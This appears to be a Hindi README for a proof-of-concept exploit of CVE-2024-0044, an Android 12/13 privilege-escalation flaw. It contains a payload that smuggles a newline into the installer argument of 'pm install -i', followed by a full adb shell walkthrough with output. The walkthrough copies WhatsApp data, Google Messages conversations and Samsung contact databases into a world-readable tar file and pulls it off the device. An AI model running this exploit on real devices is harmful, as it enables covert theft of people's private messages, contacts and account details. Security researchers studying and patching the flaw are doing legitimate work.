
CVE-2024-0044: एक उच्च-गंभीरता वाली "किसी भी ऐप के रूप में चलाएँ" भेद्यता जो Android संस्करण 12 और 13 को प्रभावित करती है
CVE-2024-0044, जो PackageInstallerService.java फ़ाइल के createSessionInternal फ़ंक्शन में पहचाना गया है, एक उच्च-गंभीरता वाली कमजोरी है जो Android संस्करण 12 और 13 को प्रभावित करती है। यह कमजोरी हमलावर को "run-as किसी भी ऐप" हमला करने की अनुमति देती है, जिससे उपयोगकर्ता की सहभागिता के बिना स्थानीय विशेषाधिकार वृद्धि (local escalation of privilege) होती है। यह समस्या createSessionInternal फ़ंक्शन के भीतर अनुचित इनपुट सत्यापन के कारण उत्पन्न होती है। एक हमलावर सत्र निर्माण प्रक्रिया में हेरफेर करके इसका शोषण कर सकता है, संभावित रूप से संवेदनशील डेटा तक अनधिकृत पहुंच प्राप्त कर सकता है और प्रभावित डिवाइस पर अनधिकृत कार्य कर सकता है
इस शोषण की खोज Meta security द्वारा की गई थी
प्रूफ ऑफ कॉन्सेप्ट को Tiny hack द्वारा संक्षेपित और साझा किया गया था
सुरक्षा पैच के विवरण Android सुरक्षा बुलेटिन पर पाए जा सकते हैं
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P का उपयोग उस लक्ष्य पैकेज नाम को निर्दिष्ट करने के लिए किया जाता है जिस रूप में आप चलाना चाहते हैं
-A का उपयोग डिवाइस में डालने के लिए APK फ़ाइल निर्दिष्ट करने के लिए किया जाता है
टूल चलाएँ
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
इस तरह एक payload.txt फ़ाइल उत्पन्न होगी
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success संदेश वापस मिलेpl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
एक अस्थायी निर्देशिका बनाएँ: mkdir /data/local/tmp/wa/
एक tar फ़ाइल के लिए प्लेसहोल्डर बनाएँ: touch /data/local/tmp/wa/wa.tar
व्यापक-खुली अनुमतियाँ सेट करें: chmod -R 0777 /data/local/tmp/wa/ ताकि कोई भी उपयोगकर्ता इस निर्देशिका के भीतर पढ़, लिख और निष्पादित कर सके।
उपयोगकर्ता संदर्भ बदलें: run-as victim ताकि "victim" उपयोगकर्ता के समान अनुमतियाँ प्राप्त हों।
लक्ष्य एप्लिकेशन के डेटा को संग्रहित करें: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, व्हाट्सएप डेटा निर्देशिका का एक tarball बनाएँ।
adb pull /data/local/tmp/wa/wa.tar
आप 7z या किसी अन्य टूल का उपयोग करके डेटा निकाल सकते हैं
आप इसे HTML में बदलने के लिए Whatsapp chat exporter का उपयोग कर सकते हैं
यह आपको अपने डिवाइस पर रूट एक्सेस के बिना व्हाट्सएप डेटा प्राप्त करने की अनुमति देता है
बस पैकेज नाम इस प्रकार बदलें
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Downloads/F-Droid.apk
उपरोक्त निर्देशों का पालन करें और wa.tar फ़ाइल खींचने के बाद इसे untar करें और com.google.android.apps.messaging/databases/bugle_db में वार्तालापों को sqlitebrowser या किसी अन्य टूल का उपयोग करके खोलें
Samsung डिवाइस के लिए परीक्षण किया गया। अन्य डिवाइसों के लिए संपर्क प्रदाता का पैकेज नाम जाँचें।
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
उपरोक्त निर्देशों का पालन करें और wa.tar फ़ाइल खींचने के बाद इसे untar करें और com.samsung.android.providers.contacts/databases/contacts2.db में संपर्कों को sqlitebrowser या किसी अन्य टूल का उपयोग करके खोलें। db फ़ाइल में संपर्क सूची के साथ सभी उपयोगकर्ता ईमेल खातों की जानकारी होती है।